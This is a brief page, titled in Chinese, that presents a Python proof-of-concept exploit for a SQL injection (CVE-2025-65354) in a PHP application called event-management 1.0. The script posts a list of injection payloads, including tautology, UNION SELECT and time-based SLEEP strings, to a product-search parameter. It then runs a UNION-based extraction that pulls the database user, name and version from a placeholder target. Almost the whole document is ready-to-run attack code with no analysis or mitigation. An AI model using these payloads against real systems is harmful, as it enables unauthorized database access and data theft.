CVE-2025-65354 event-management 1.0 SQL注入漏洞

import requests import sys # CVE-2025-65354 SQL Injection PoC # Target: PuneethReddyHC event-management 1.0 # Vulnerability: SQL Injection in /Grocery/search_products_itname.php target_url = "http://target.com/Grocery/search_products_itname.php" # Basic SQL Injection payload to test vulnerability payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' UNION SELECT user(),version(),database()--", "' AND SLEEP(5)--" ] def test_sqli(): print(f"[*] Testing CVE-2025-65354 SQL Injection") print(f"[*] Target: {target_url}") for payload in payloads: data = { 'sitem_name': payload } try: response = requests.post(target_url, data=data, timeout=10) print(f"[+] Sent payload: {payload}") print(f"[+] Status code: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[!] Potential SQL error detected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def extract_data(): # Data extraction payload using UNION-based injection extract_payload = "' UNION SELECT user(),database(),version(),NULL,NULL--" data = {'sitem_name': extract_payload} try: response = requests.post(target_url, data=data, timeout=10) print(f"\n[*] Attempting data extraction...") print(f"[+] Response preview: {response.text[:500]}") except Exception as e: print(f"[-] Extraction failed: {e}") if __name__ == "__main__": test_sqli() extract_data()